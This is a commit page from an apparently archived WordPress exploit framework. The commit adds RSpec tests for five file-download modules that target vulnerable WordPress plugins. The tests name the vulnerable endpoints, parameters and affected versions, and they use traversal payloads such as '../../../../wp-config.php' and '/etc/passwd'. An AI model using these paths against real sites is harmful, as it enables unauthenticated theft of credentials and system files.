Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 94fc8ad

Browse files
committed
Improve test coverage
1 parent b02d280 commit 94fc8ad

File tree

6 files changed

+304
-1
lines changed

6 files changed

+304
-1
lines changed

lib/wpxf/modules/auxiliary/file_download/wp_hide_security_enhancer_file_download.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,10 @@ def downloader_url
3737
end
3838

3939
def download_request_params
40-
{ 'action' => 'style-clean', 'file_path' => "/#{remote_file}" }
40+
{
41+
'action' => 'style-clean',
42+
'file_path' => "/#{remote_file}"
43+
}
4144
end
4245

4346
def validate_content(content)
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# frozen_string_literal: true
2+
3+
require_relative '../../../../../spec_helper'
4+
require 'wpxf/modules'
5+
6+
describe Wpxf::Auxiliary::SimpleDownloadMonitorFileDownload do
7+
let(:subject) { described_class.new }
8+
9+
before :each, 'setup subject' do
10+
allow(subject).to receive(:check_plugin_version_from_readme)
11+
allow(subject).to receive(:emit_warning)
12+
end
13+
14+
it 'should return a {Wpxf::Module}' do
15+
expect(subject).to be_a Wpxf::Module
16+
end
17+
18+
it 'should check the plugin < 3.2.9' do
19+
subject.check
20+
expect(subject).to have_received(:check_plugin_version_from_readme)
21+
.with('simple-download-monitor', '3.2.9')
22+
.exactly(1).times
23+
end
24+
25+
it 'should not register the remote file option' do
26+
expect(subject.register_remote_file_option?).to be false
27+
end
28+
29+
it 'should not require authentication' do
30+
expect(subject.requires_authentication).to be false
31+
end
32+
33+
it 'should configure the downloader url' do
34+
expect(subject.downloader_url).to eql subject.wordpress_url_admin_ajax
35+
end
36+
37+
it 'should configure the request params' do
38+
subject.set_option_value('post_id', 10)
39+
expect(subject.download_request_params).to eql(
40+
'action' => 'sdm_init_time_tasks',
41+
'smd_process_download' => '1',
42+
'download_id' => '10'
43+
)
44+
end
45+
46+
it 'should GET the download request' do
47+
expect(subject.download_request_method).to eql :get
48+
end
49+
50+
context 'if the download does not appear to be valid' do
51+
let(:content) { 'This download item (99) does not have any download link' }
52+
53+
it 'should emit a warning' do
54+
subject.validate_content(content)
55+
expect(subject).to have_received(:emit_warning)
56+
.with('The file you requested appears to be invalid')
57+
.exactly(1).times
58+
end
59+
60+
it 'should not fail validation' do
61+
res = subject.validate_content(content)
62+
expect(res).to be true
63+
end
64+
end
65+
end
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# frozen_string_literal: true
2+
3+
require_relative '../../../../../spec_helper'
4+
require 'wpxf/modules'
5+
6+
describe Wpxf::Auxiliary::SimpleImageManipulatorArbitraryFileDownload do
7+
let(:subject) { described_class.new }
8+
9+
before :each, 'setup subject' do
10+
allow(subject).to receive(:check_plugin_version_from_readme)
11+
end
12+
13+
it 'should return a {Wpxf::Module}' do
14+
expect(subject).to be_a Wpxf::Module
15+
end
16+
17+
it 'should check the plugin is installed' do
18+
subject.check
19+
expect(subject).to have_received(:check_plugin_version_from_readme)
20+
.with('simple-image-manipulator')
21+
.exactly(1).times
22+
end
23+
24+
it 'should register the default remote file path' do
25+
expected = '../../../../wp-config.php'
26+
expect(subject.default_remote_file_path).to eql expected
27+
end
28+
29+
it 'should not require authentication' do
30+
expect(subject.requires_authentication).to be false
31+
end
32+
33+
it 'should configure the working directory' do
34+
expected = 'wp-content/plugins/simple-image-manipulator/controller/'
35+
expect(subject.working_directory).to eql expected
36+
end
37+
38+
it 'should configure the downloader url' do
39+
expected = %r{simple\-image\-manipulator/controller/download\.php}
40+
expect(subject.downloader_url).to match(expected)
41+
end
42+
43+
it 'should configure the request params' do
44+
subject.set_option_value('remote_file', 'test.php')
45+
expect(subject.download_request_params).to eql('filepath' => 'test.php')
46+
end
47+
48+
it 'should GET the download request' do
49+
expect(subject.download_request_method).to eql :get
50+
end
51+
end
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
# frozen_string_literal: true
2+
3+
require_relative '../../../../../spec_helper'
4+
require 'wpxf/modules'
5+
6+
describe Wpxf::Auxiliary::SiteEditorFileDownload do
7+
let(:subject) { described_class.new }
8+
let(:downloaded_filename) { File.join(Dir.tmpdir, 'wpxf_unit_test') }
9+
10+
before :each, 'setup subject' do
11+
allow(subject).to receive(:check_plugin_version_from_readme)
12+
allow(subject).to receive(:downloaded_filename).and_return(downloaded_filename)
13+
end
14+
15+
after :each, 'delete temp files' do
16+
FileUtils.rm_f downloaded_filename
17+
end
18+
19+
it 'should return a {Wpxf::Module}' do
20+
expect(subject).to be_a Wpxf::Module
21+
end
22+
23+
it 'should check the plugin version is < 1.1.2' do
24+
subject.check
25+
expect(subject).to have_received(:check_plugin_version_from_readme)
26+
.with('site-editor', '1.1.2')
27+
.exactly(1).times
28+
end
29+
30+
it 'should register the default remote file path' do
31+
expected = '/etc/passwd'
32+
expect(subject.default_remote_file_path).to eql expected
33+
end
34+
35+
it 'should not require authentication' do
36+
expect(subject.requires_authentication).to be false
37+
end
38+
39+
it 'should configure the working directory' do
40+
expected = 'wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/'
41+
expect(subject.working_directory).to eql expected
42+
end
43+
44+
it 'should configure the downloader url' do
45+
expected = %r{site\-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern\.php}
46+
expect(subject.downloader_url).to match(expected)
47+
end
48+
49+
it 'should configure the request params' do
50+
subject.set_option_value('remote_file', '/etc/passwd')
51+
expect(subject.download_request_params).to eql('ajax_path' => '/etc/passwd')
52+
end
53+
54+
it 'should GET the download request' do
55+
expect(subject.download_request_method).to eql :get
56+
end
57+
58+
it 'should remove junk data from the end of the file during validation' do
59+
content = 'root:toor{"success":true,"data":{"output":[]}}'
60+
subject.validate_content(content)
61+
modified_content = File.read(downloaded_filename)
62+
expect(modified_content).to eql 'root:toor'
63+
end
64+
end
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# frozen_string_literal: true
2+
3+
require_relative '../../../../../spec_helper'
4+
require 'wpxf/modules'
5+
6+
describe Wpxf::Auxiliary::WpBackgroundTakeoverFileDownload do
7+
let(:subject) { described_class.new }
8+
9+
before :each, 'setup subject' do
10+
allow(subject).to receive(:check_plugin_version_from_readme)
11+
end
12+
13+
it 'should return a {Wpxf::Module}' do
14+
expect(subject).to be_a Wpxf::Module
15+
end
16+
17+
it 'should check the plugin version is < 4.1.5' do
18+
subject.check
19+
expect(subject).to have_received(:check_plugin_version_from_readme)
20+
.with('wpsite-background-takeover', '4.1.5')
21+
.exactly(1).times
22+
end
23+
24+
it 'should register the default remote file path' do
25+
expected = '../../../../wp-config.php'
26+
expect(subject.default_remote_file_path).to eql expected
27+
end
28+
29+
it 'should not require authentication' do
30+
expect(subject.requires_authentication).to be false
31+
end
32+
33+
it 'should configure the working directory' do
34+
expected = 'wp-content/plugins/wpsite-background-takeover/exports/'
35+
expect(subject.working_directory).to eql expected
36+
end
37+
38+
it 'should configure the downloader url' do
39+
expected = %r{wpsite\-background\-takeover/exports/download\.php}
40+
expect(subject.downloader_url).to match(expected)
41+
end
42+
43+
it 'should configure the request params' do
44+
subject.set_option_value('remote_file', 'wp-config.php')
45+
expect(subject.download_request_params).to eql('filename' => 'wp-config.php')
46+
end
47+
48+
it 'should GET the download request' do
49+
expect(subject.download_request_method).to eql :get
50+
end
51+
end
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# frozen_string_literal: true
2+
3+
require_relative '../../../../../spec_helper'
4+
require 'wpxf/modules'
5+
6+
describe Wpxf::Auxiliary::WpHideSecurityEnhancerFileDownload do
7+
let(:subject) { described_class.new }
8+
9+
before :each, 'setup subject' do
10+
allow(subject).to receive(:check_plugin_version_from_readme)
11+
allow(subject).to receive(:emit_error)
12+
end
13+
14+
it 'should return a {Wpxf::Module}' do
15+
expect(subject).to be_a Wpxf::Module
16+
end
17+
18+
it 'should check the plugin version is < 1.3.9.3' do
19+
subject.check
20+
expect(subject).to have_received(:check_plugin_version_from_readme)
21+
.with('wp-hide-security-enhancer', '1.3.9.3')
22+
.exactly(1).times
23+
end
24+
25+
it 'should register the default remote file path' do
26+
expected = 'wp-config.php'
27+
expect(subject.default_remote_file_path).to eql expected
28+
end
29+
30+
it 'should not require authentication' do
31+
expect(subject.requires_authentication).to be false
32+
end
33+
34+
it 'should configure the working directory' do
35+
expected = 'the WordPress installation directory'
36+
expect(subject.working_directory).to eql expected
37+
end
38+
39+
it 'should configure the downloader url' do
40+
expected = %r{wp\-hide\-security\-enhancer/router/file\-process\.php}
41+
expect(subject.downloader_url).to match(expected)
42+
end
43+
44+
it 'should configure the request params' do
45+
subject.set_option_value('remote_file', 'wp-config.php')
46+
expect(subject.download_request_params).to eql(
47+
'action' => 'style-clean',
48+
'file_path' => '/wp-config.php'
49+
)
50+
end
51+
52+
it 'should GET the download request' do
53+
expect(subject.download_request_method).to eql :get
54+
end
55+
56+
context 'if no content is received' do
57+
it 'should emit an error' do
58+
subject.validate_content('')
59+
expect(subject).to have_received(:emit_error)
60+
.with('No content returned, file may not exist.')
61+
.exactly(1).times
62+
end
63+
64+
it 'should fail the validation process' do
65+
res = subject.validate_content('')
66+
expect(res).to be false
67+
end
68+
end
69+
end

0 commit comments

Comments
 (0)